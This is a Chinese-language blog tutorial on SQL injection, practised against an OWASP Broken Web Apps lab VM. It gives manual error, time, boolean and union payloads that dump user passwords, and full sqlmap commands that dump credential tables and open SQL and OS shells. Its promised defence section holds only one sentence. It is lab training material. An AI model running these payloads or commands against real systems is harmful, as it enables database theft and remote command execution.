CONTENTS
1 项目实验环境
2 SQL注入概述
2.1 SQL注入简介
2.2 SQL注入的危害
3 SQL基础回顾
3.1 联合查询union
3.2 information_schema数据库
4 SQL注入流程
5 手动注入流程
5.1 基于错误的注入
5.2 基于时间的盲注
5.3 基于布尔的注入
5.4 基于UNION的注入
6 sqlmap自动化注入
6.1 GET方法注入
6.2 POST方法注入
6.3 提权操作
7 如何防御SQL注入
测试渗透机:kali_linux-2020
链接:https://pan.baidu.com/s/1apN96nIcs1Fyx8YmFs24Xg
提取码:32ve
目标靶机:owasp_Broken_Web_Apps
链接:https://pan.baidu.com/s/1CMJ2aERmDGlXXkhUmjDmtA
提取码:9zsj
在owasp年度top 10安全问题中,注入高居榜首。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序。而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
现实生产环境中mysql用的居多。对mysql没有基础的童鞋可以参考我这篇文章,简单了解一下mysql(主要了解mysql一些查询语句)。
https://blog.csdn.net/Until_U/article/details/105333489
下面补充一下:owasp的数据库账号:root 密码:owaspbwa
(1)联合查询常应用在SQL注入中,下面看一个例子,将下面的A和B这两个SQL语句联合,这样就可以执行查询到B里的内容。
A:select user,password from mysql.user;
B:select user_login,user_pass from wordpress.wp_users;
select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;
(2)需要注意的是union查询前后字段数必须相同,不一致的话就会报错,e.g.:
select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_user;
(3)判断union前后字段是否一致,可以猜字段数:
select * from dvwa.users union select 1;
select * from dvwa.users union select 1,2;
select * from dvwa.users union select 1,2,3;
select * from dvwa.users union select 1,2,3,4;
select * from dvwa.users union select 1,2,3,4,5;
select * from dvwa.users union select 1,2,3,4,5,6;
猜到之后就可以利用union查询了,多余的字段不想查询可以用数字代替:
select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
mysql中默认有information_schema数据库,这个类似于数据字典,存放数据库中所有的数据库和表及columns等。
这个数据库中我们主要先关注tables和columns这两张表。
(1)查询数据库库名、表名(tables),下面几句SQL语句执行下熟悉下:
select * from information_schema.TABLES\G
select distinct table_schema from information_schema.TABLES;
select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES group by TABLE_SCHEMA\G
mysql> select TABLE_NAME from information_schema.tables where table_schema='dvwa'; //类似于show tables
+------------+
| TABLE_NAME |
+------------+
| guestbook |
| users |
+------------+
(2)查询数据库名,表名和字段名 (columns)
select * from information_schema.columns\G
select column_name from information_schema.columns\G
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';
先查看后端代码:可以知道这边查询只有两个字段,然后输出三个字段信息。
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。
利用sleep()函数,检测SQL语句是否执行,如果在执行,说明是存在SQL注入点的。
select first_name,last_name from dvwa.users where user_id='1' and sleep(5);
Empty set (5.00 sec)
我们知道原始语句为SELECT first_name, last_name FROM users WHERE user_id = $id。
就可以通过SQL注入语句解析: ' or 1=1 -- '
这样就获取了所有信息,说明一下:
union利用原始SQL语句进而查询自己想要的信息。一般通过错误和布尔注入点之后,就可以开始通过union语句来获取有效信息。
(1)下面我们应该猜测数据列数,从而才可以将union前后字段匹配(前面讲union说明了猜测的用法,可以回看哦)。
下面直接界面测试,一个一个尝试:
知道出现以下情况,说明SQL语句中有两个字段:
(2)知道字段数后,就可以获取当前数据库及用户信息。
' union select version(),database() -- '
当前还以查看很多信息了,大可类比,自己动手操作下,好好想!比如:
'union select user,password from users -- ' //查看用户及密码
'union select password,concat(first_name,' ',last_name,' ',user) from users -- ' //利用concat函数将多个字段放在一起
SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
在本次实验我用的用的是kali自带的sqlmap工具:
(1)SQLmap参数解析,具体参数可以通过命令 sqlmap -hh 查看(只截取了一部分):
(2)我们练习下,首先登录到user info界面。
(3)随便输入一个账号信息,错误的也行。然后复制出错的URL链接。
打开kali,下面看几个示例:
1.查看当前数据库
sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch --current-db
2.查看nowasp下的表
sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch -D nowasp --tables
3. 获取表中指定的数据,例如获取mysql数据库中user表中user,password和host所有信息
sqlmap -u "http://192.168.119.167/mutillidae/index.php?page=user-info.php&username=asas&password=asasa&user-info-php-submit-button=View+Account+Details" --batch -D mysql -T user -C "user,password,host" --dump
比如我知道了WordPress的账号和密码就可以登录上去查看啦:
(1)下面我们开始注入DVWA这个应用,由于进入DVWA需要账号密码,在加上cookie缓存,再进入DVWA下面其他应用就不需要密码。但是直接注入SQL injection是不可以的,需要加上cookie参数。
可以尝试直接注入(下面提示你不可注入,你可以尝试风险级别):
sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbs
提高注入级别,依然没法注入:
sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --dbs --level 3 --risk=3
(2)所以要利用cookie参数,我们先了解下客户机和服务器之间访问的原理,用户访问服务器,输入密码,这样在服务器端就产生session会话信息,保存session ID,对应的用户端产生cookie保存服务器的session。这样客户端在保持会话的时候就不用重复输入密码。可借鉴下图:
(3)下面开始设置cookie参数,我们利用火狐自带的cookie组件:cookie quick manager。
然后打开它,把cookie里的内容作为参数加入命令中:
sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" -D "dvwa" -T "users" --columns
(1)与数据库交互 --sql-shell
sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" --sql-shell
(2)与操作系统交互(这个可能因为权限问题没办法登上去)
sqlmap -u "http://192.168.119.167/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="acopendivids=swingset,jotto,phpbb2,redmine;PHPSESSID=679lav18cfoi28l22mol29qsl0;acgroupswithpersist=nada;security=low" --os-shell
根据以上SQL注入的学习,我们应该知道SQL注入的攻击流程,所以我们应该相应的采取一系列措施。
今日份打卡,over!